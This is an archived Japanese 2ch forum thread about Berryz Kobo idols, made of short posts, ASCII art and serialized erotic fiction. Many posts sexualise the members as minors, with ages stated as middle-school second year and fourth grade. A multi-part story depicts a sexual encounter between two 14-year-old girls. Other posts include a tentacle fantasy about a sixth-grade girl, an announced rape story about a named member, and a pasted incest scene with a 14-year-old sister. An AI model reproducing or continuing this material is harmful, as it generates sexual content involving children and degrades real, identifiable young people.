ﾉﾉl∂_∂'ﾙ＜しゅいん！しゅいん！しゅいん！しゅーりばん　しゅいーん♪

ﾉﾉl∂_∂'ﾙ＜しゅいーーーーーーーーーーーん！

しゅいんけん、しゅっしゅ、しゅっしゅしゅー、あかかげはーいーくー♪

イク瞬間にブリッジするみやびちゃん

ﾉﾉl∂_∂'ﾙ＜ｱ〜ｲｴ　ｵ〜ｲｴ

まさかみやびちゃんがユウキリスペクトだったとはｗ

ho

手淫っていい響きだね

ﾉﾉl∂_∂'ﾙ

ほ

ほげ

ほげ

今宵も指が股間に

良スレはけーん

ほげ

女性器はイヤラシイ形をしているが、個人的にはもっともっと
イヤラシイ形をしていてほしかったと思う。
　一例を挙げると性的に興奮したら女性器から最長３ｍぐらい
まで伸びるような触手を出して男性器に絡み付き、膣内に引き
込むといった機能が備わっていてもよかったのではなかろうか。
　もし実際に女性器にそうした機能があったとしたら、私は小学
６年生ぐらいの色白で髪が長くて大人しい、赤いリボンとフリフリ
フリルの可愛い服がトレードマークの学校一の人気者美少女小
学生に生まれ変わりたい。
　そして学校で授業中エッチなことを考えたために、自分の意に
反して膣内から触手がうねうね出てきて、最初はスカートの上から
膣口を手で押さえ込もうとするが、押さえつけようとしている手の
脇から触手がはみ出してきて、ついにはスカートの裾まで進出し、
恥ずかしい粘液まみれの触手が生々しい臭気を周囲に漂わせな
がら斜め前の席に座っている好きな男子の股間に伸びてゆく場面を
クラスメイト全員に見られてしまい、赤面した顔を両手で押さえて泣き
じゃくったあげく、遠い街の学校に転校したい。
　しかし、この子に限らず初潮を迎えた女の子の誰もが一度は経験
する、触手の試練。母親は娘と風呂に入りながら、自らの少し色素
沈着のすすんだ触手を見せ、「みおちゃんももう直ぐこんな風に触
手が出てくるようになるけど、驚いちゃダメよ。」と、微笑ましい
家庭の性教育がなされたりするものなのである

ﾉﾉl∂_∂'ﾙ ＜長居

授業中に鉛筆で・・

えっちだあ

:::::::::::::::::::::::::::::..
::::::＼:☆ノノハ　ｸｩ〜ﾝ
::::::ミゝ从 ’ｗ’)つ
::::::⊂＿＿つノ
マイハマン巡回中！

神降臨はまだですか

シュッイン

めぐみやスレの続きはここですか？



ﾐｯﾌﾟﾙﾒｯﾌﾟﾙ

>>218
スレ立てた人が同じらしいからな

ほ

wktk

　 _ 　∩
(　ﾟ∀ﾟ)彡　 しゅいん！　しゅいん！
　⊂彡

:::::::::::::::::::::::::::::..
::::::＼:☆ノノハ　ｸｩ〜ﾝ
::::::ミゝ从 ’ｗ’)つ
::::::⊂＿＿つノ
マイハマン巡回中！

雅ちゃんはメイクさんに髪とか顔触られてる時はきっと感じてるはずだ

ほげ

ほ

も

も

クラスメイト・・・・

ほ

しゅーいんしてたら興奮する

しゅいーんをやらねば何をやる

ﾉﾉl∂_∂'ﾙ＜日本人ならオナニーより手淫

手淫いい

ぬっき

手淫の響きがさいこう

ほ

ﾉﾉl∂_∂'ﾙ＜炎のコマ！ｼｭｼｭｼｭｼｭｼｭ…

みんなが見てるのに手淫がしたくて堪らない雅ちゃん(中2)

おはスタで自分の股間をいじくるりさこ

>>240 (小4)

ほ

帰ってきた!!Berryz工房のエロ小説を書こうよ!!! 40
http://ex11.2ch.net/test/read.cgi/morningcoffee/1153223718/

ﾉﾉ*∂_∂'ﾙ＜私で変なこと想像するの止めてください！

ﾉﾉ*∂_∂'ﾙ＜手淫なんてしたことありまセン！

ﾉﾉ*∂_∂'ﾙ＜うちはピンロー派だから

おもちゃの快感に目覚める編も見たいな

男は手偏に上下で?と書くんだよ。みやびちゃん（中二）

クラスメイト・・・・＿|￣|○

ほ

./＼__,ﾍ,
　　| ノﾉﾊヾヽ.
　　ﾉﾉ∂_∂'ﾙ○　みやにゃんこ巡回中
　　○　　　ﾉ
　⊂(＿)＿)

ずれてるずれてる！

./＼__,ﾍ,
　　| ノﾉﾊヾヽ.
　　　　　　　ﾉﾉ∂_∂'ﾙ○　みやにゃんこ巡回中
　　○　　　ﾉ
　⊂(＿)＿)

おいｗ

ﾜﾛｽw

　　./＼__,ﾍ,
　　| ノﾉﾊヾヽ.
　　ﾉﾉ∂_∂'ﾙ○　みやにゃんこ巡回中
　　○　　　ﾉ
　⊂(＿)＿)

ほらっ

神が降臨しないな

上のほうで書いてたもんです
なかなか時間がないんですがシコシコ続編執筆中です

前スレでたどり着けなかった二人の野望　それは・・・

「佐紀ちゃんを犯す！！」

果たしてどうなるのか？スレ違いだなんて言わないで
もうしばらくお待ち下さい・・・

おいおい・・・
wktk

+　　　+
　 ∧＿∧ 　+
　（0ﾟ・∀・）　　　ﾜｸﾜｸﾃｶﾃｶ
　（0ﾟ∪ ∪ +
　と＿_）__）　+

やばいｚｐｗｗｗｗｗｗｗ

ﾜｯﾌﾙﾜｯﾌﾙ

パンツ脱いで待ってます

佐紀ちゃん犯しｷﾀｺﾚ

川´・_・ﾘ＜ﾜｸﾜｸﾃｶﾃｶ

手淫は〜みやびちゃんの為にあるんやで〜
ヲタ〜ちゃんの為やないんやで〜

佐紀ちゃんがﾜｸﾃｶしてどうすんのｗ

はやく投下こないかな

ほ

ほおおおおおおおおおおお

しゅううううううううううう

ほげ

川´・_・ﾘ

まぁだぁ？

ﾉﾉ*∂_∂'ﾙ ＜佐紀ちゃんが勉強してる…それって学校の宿題？

川*´・_・ﾘ ＜違うよ♪これは英語の問題集♪うち来年受験じゃん♪だからそれ用に買ったの♪

ﾉﾉ*∂_∂'ﾙ ＜そうなんだ…大変だね…受験用の問題集って難しそう…

川*´・_・ﾘっ□ ＜うん！もうスッゴく難しいの！みやも見てみる？

ﾉﾉ*∂_∂'ﾙ ＜うん♪見せて♪…ねえ佐紀ちゃん？この問題だけど答えは否定文になるんじゃない？

川；´・_・ﾘ ＜えっ！…本当だ！うっかりしてた…気をつけないと♪ありがとうみや♪

ﾉﾉ；∂_∂'ﾙ ＜それからここの単語ってスペルが違わない？…あれ？こことここと…それにここも間違ってる…

川；´・_・ﾘ ＜そ…そうなの？…まだ学校で習ってない単語だから…

ﾉﾉ；∂_∂'ﾙ ＜あの佐紀ちゃん…このページの問題の単語って全部一年生の二学期までに習ったやつだよ…

Σ川；´・_・ﾘ ＜な…習ってないもん！うちは英語苦手だけど…一年生の時に習った単語位ちゃんと書けるよ！

ﾉﾉ；∂_∂'ﾙ ＜じゃあどうしてうちが知ってるの？うちまだ中二だよ？塾とか行った事もないし…あっ！

川´;・_・;ﾘ ＜習ってない！…本当に習ってないもん…うち嘘とかついてないもん…ﾋｯｸ…

ﾉﾉ；∂_∂'ﾙ ＜えっと…でも…もしかしたら埼玉と神奈川だと授業の進め方が違うのかな？

川´;・_・;ﾘ ＜…きっとそうだよ…そうなの！…ﾋｯｸ…

あれ？これなんてデジャヴ？

これ。みやさき行きのネタだろうが

しかもコピペだし・・・

保

ほ

手淫矢の如し

手淫ニング　愛しき貴方

カントリー娘に夏焼雅（berryz工房）

手淫

雅って千葉出身じゃないのか

出身は千葉のハズ

だからどうした

こすりすぎて黒くなるのかな

>>287
ﾉﾉ；∂_∂'ﾙ ＜えっと…でも…もしかしたら埼玉と神奈川だと授業の進め方が違うのかな？

今は埼玉に住んでるってどっかで書き込みあったような

シュイン

千葉だろうと埼玉だろうとうちの近所に変わりはねえ

テラテラと妖しく光るみやびちゃんの右手中指

ぜひ使ってください。
ttp://page13.auctions.yahoo.co.jp/jp/auction/r28276116

スーパーボールは使ったらダメだよ　みやびちゃん
ttp://file.reviewch.blog.shinobi.jp/1151333652548.jpg

今もしてるかな〜

佐紀ちゃんゴメンナサイ
http://hellogirls.myphotos.cc/files/data/hellogirls12185.jpg

「Berryz工房コンサートツアー2006春〜にょきにょきチャンピオン！〜」
7月19日２1時より実況開始！

■Berryz工房DVD実況■
http://live22x.2ch.net/test/read.cgi/dancesite/1153231611/l50

:::::::::::::::::::::::::::::..
::::::＼:☆ノノハ　ｸｩ〜ﾝ
::::::ミゝ从 ’ｗ’)つ
::::::⊂＿＿つノ
マイハマン巡回中！

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::::::＼:☆ノノハ　ｸｩ〜ﾝ
::::::ミゝ从 ’ｗ’)つ
::::::⊂＿＿つノ
マイハマン巡回中！

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::::::＼:☆ノノハ　ｸｩ〜ﾝ
::::::ミゝ从 ’ｗ’)つ
::::::⊂＿＿つノ
マイハマン巡回中！

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::::::＼:☆ノノハ　ｸｩ〜ﾝ
::::::ミゝ从 ’ｗ’)つ
::::::⊂＿＿つノ
マイハマン巡回中！

>>138
ハロプロ夏のコンサートツアーもいよいよ大詰め。

最終日の公演を明日に控えたこの日、
ベリーズのメンバーは、宿泊先のホテルに全員集合し、
夜遅くまで大騒ぎしていた。

みんなで一つの輪を作り、トランプを囲んで盛り上がる。
そんな当たり前のことが、なんだか楽しくて

「なんか、みんなで修学旅行に来たみたいだね！」

なんて言って、大声ではしゃぐメンバーたち。

みやびちゃんも、もちろんその輪に加わって
笑顔でトランプに興じていた。

しかし、そんなつかの間の団らんを引き裂くように

「・・・♪」

と、みやびちゃんの携帯メールの着信音が鳴り響いた・・・。

ｷﾀ━━━(ﾟ∀ﾟ )━(∀ﾟ )━(ﾟ )━( )━( ﾟ)━( ﾟ∀)━(ﾟ∀ﾟ)━━━!!!!

ｷﾀｺﾚ

職人動きだした！！！！！！！！！

>>303
その音にビクッと反応するみやびちゃん。
みんなに気付かれないよう、そっとメールを確認する。

すると・・・

「まだ？



　　　　　　　　めぐ」

めぐからの誘いのメール・・・。

その短い文面を見ただけで
ドクドクと心臓が高鳴りはじめるみやびちゃん。

携帯を握り締めたまま固まっていると、

「どうしたの、みや？
顔が真っ赤だけど・・・」

と、佐紀ちゃんが異変に気付いて声をかける。

その言葉にみやびちゃんははっと我に返った。

wktk

みんないないのか、気づいてないのかＷ

で？で？で？(;ﾟ∀ﾟ)=3

>>307
「・・・大丈夫？」

「・・・ごめん。
　う、うち、ちょっと気分悪いから・・・
　自分の部屋、戻るわ・・・」

そう言って立ち上がったみやびちゃん。
すると、梨沙子が

「え〜っ！みや、もう寝るのぉ！つまんな〜い！」

と、甘えたように言うもんだから、

「わかった、わかった！また、遊んであげるから！」

なんて言い訳しつつ、
みやびちゃんは振り返らずにそのまま部屋を後にした。

ドアノブを後ろ手で握り締め、
廊下で一人立ち尽くすみやびちゃん。

背中でメンバーたちがブツクサ言ってるのを感じながら

「・・・ごめんね、・・・みんな」

と、つぶやき、強く唇をかみ締めたのであった。

川´・_・ﾘ＜で、で、で？

wktk

で、で？次は？

ﾉk|‘−‘)＜で？で？で？

☆ノﾉハ
ﾉk|‘ O‘)ｳｷﾞｬｰ
　ﾟし-Jﾟ

次まだ？

神再降臨ありがと。辛抱強く待ってるからね・・・

まだ続きがくるぞ

ｷﾃﾀ━━━━━(≧Σ≦★)━━━━━!!!!

ﾉﾉl∂_∂'ﾙ＜みんなえっちだぁ〜

保全してて良かった・・・・｡･ﾟ･(ﾉД`)･ﾟ･｡

ﾘl|*´∀｀l| ＜まだ？

ﾙ ’ｰ’ﾘ＜私が佐紀ちゃんを・・・

>>311
ドキドキしながら、めぐの部屋のドアをノックする。

中に通されると、薄暗い照明の中、
めぐがバスローブ姿でくつろいでいた。

同い年のめぐが醸し出す妖艶な雰囲気に
思わず立ちすくんでしまうみやびちゃん。

すると、少し怒気を含んだめぐの声が。

「遅かったじゃない・・・みやび」

「・・・みんなでトランプしてたから・・・
　出るに出れなくて・・・」

か細い声で抵抗するみやびちゃんを
めぐはさらに攻め立てる。

(;´Д`)ﾊｧﾊｧ

ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!

>>325
「ふふっ、へぇ〜・・・じゃあ、みやび・・・
　みんなといながら、ずっといやらしい事考えてたんだ・・・」

「やだ、何言ってるの・・・
　そんなわけないでしょ！」

必死で否定するみやびちゃんの目の前に立ち、
真っ直ぐに見つめるめぐ。

「・・・嘘だ・・・」

その視線から思わず目を逸らしたみやびちゃんは
哀願するように、つぶやいた。

「ねぇ、めぐ・・・、
　早く戻らないとみんな心配す、んむっ・・・！」

その言葉が終わらないうちに、めぐは強引に唇を重ね合わせた。

うほ

なんか似たような小説スレってなかったか？

職人wktk

川´・_・ﾘ＜wktk

>>328
「・・・め、めぐ・・・やめっ・・・」

みやびちゃんがいくら引き離そうとしても
力強くどんどんと侵入してくるめぐを止めることは出来なかった。

その柔らかい舌はまるで別の意思を持つ生き物のように
ぬらぬらとみやびちゃんの口の中をかき回す。

「ん、んむっ・・・はっ！・・・」

これまで経験したことのない濃厚なディープキス。

脳の奥までとろけるような快感に
みやびちゃんの理性が吹き飛ぶのももはや時間の問題となっていた。

ﾜｯﾌﾙﾜｯﾌﾙ

　　　　∧＿∧　
　┌ー（´・ω・）　ワッフル！ワッフル！
　 丶Ｊ　　　/Ｊ
　　 ( ﾐ　　 <　ﾐ
　　 丶 丶　丶
　　　（_＿）＿）

　　　　　∧＿∧
　　　　 （・ω・｀）　ワッフル！ワッフル！
　　　　しヽ　　　し′
　　　　彡 >　　彡)　
　　　　　 /　 /　/
　　　　 （＿（＿_）

>>333
ようやく、ぷはっ、という感じで二人の唇が引き離されると、
めぐはじっとりとした憂いを含んだ眼差しのまま
みやびちゃんをいたずっらぽく問い詰める。

「みやび・・・そんなに・・・
　みんなのところに戻りたいの・・・？」

すでに瞳を潤ませながら、
真っ赤な顔でコクリとうなづくみやびちゃん。

「ふふっ・・じゃあ、
　ここが何ともなってなかったら・・・いいよ！」

そう言うと、めぐはするりと自らの指を
みやびちゃんのパンティーの中に滑り込ませた。

「・・・はぁっ！だめ・・・」

侵入を拒否するみやびちゃんの声。

しかし、その叫びとは裏腹の
くちっ、という湿りを含んだ感触をめぐは逃さなかった。

　　　　∧＿∧　
　┌ー（´・ω・）　ワッフル！ワッフル！
　 丶Ｊ　　　/Ｊ
　　 ( ﾐ　　 <　ﾐ
　　 丶 丶　丶
　　　（_＿）＿）

　　　　　∧＿∧
　　　　 （・ω・｀）　ワッフル！ワッフル！
　　　　しヽ　　　し′
　　　　彡 >　　彡)　
　　　　　 /　 /　/
　　　　 （＿（＿_）

早く佐紀ちゃんを犯してください(;´Д`)ﾊｧﾊｧ

佐紀ちゃんまでの道はまだまだ長いぞｗ

えっ、佐紀ちゃんが・・・(((( ;゜Д゜)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

上を読んでねｗ

>>258

清水はいらないだろ

わかってないやつがきたよ・・・

清水なんてブサイク登場っせたら萎えるんだけどｗ

つーかカラんでしまうと手淫ではなくなってしまうわけだが

ならくるな

>>346
そう言われれば確かにそうなんすよね

まあ、でも、そのへんはうまいことあれして
最終的には「おお！」てな感じになればいいななんて思てますんで・・・

と、いうわけで続き書いてますんでもう少しお待ちください

職人が書いてるんで職人の考えでお願いします

ほ

从 ・ゥ・从＜佐紀ちゃん犯しwktk

　　　　∧＿∧　
　┌ー（´・ω・）　ワッフル！ワッフル！
　 丶Ｊ　　　/Ｊ
　　 ( ﾐ　　 <　ﾐ
　　 丶 丶　丶
　　　（_＿）＿）

　　　　　∧＿∧
　　　　 （・ω・｀）　ワッフル！ワッフル！
　　　　しヽ　　　し′
　　　　彡 >　　彡)　
　　　　　 /　 /　/
　　　　 （＿（＿_）

ほ

今夜が山だ

みやびちゃんはバイブでないと満足できないんだよ

わほー

朝だ

今日は久しぶりに俺の家に妹がやってくる。
俺とは4歳差で、今妹は14歳だ
兄の俺がいうのもなんだが凄く可愛らしい

そして約束の時間がやってきて妹が俺の家にやってきた。

妹は部屋に入るなりいきなり上着を脱ぎだした
｢お!おいなに脱ぎだしてんだよ!?｣
俺の声を無視し妹はブラ一枚になってしまった
｢だってぇー暑いんだもん｣
そんな妹をみて俺は不覚にもあそこが立ってしまった
｢あれぇーもしかして…たっちゃったの?お兄ちゃん｣
妹が俺のあそこに気づき俺に寄ってきた
｢ん…んなこと…｣
｢もぅ…お兄ちゃんったら変態さんだなぁ……仕方ないから私がお口でしてあげるね♪｣
妹はおもむろに俺のズボンのチャックに手を伸ばし堅くなった物を取り出して一時先っぽを手で上下にこすった後口に(ry

省略されました。続きが気になる方はこのスレに書き込んでください
http://ex13.2ch.net/test/read.cgi/neet4vip/1153349553/

へんなのが来たな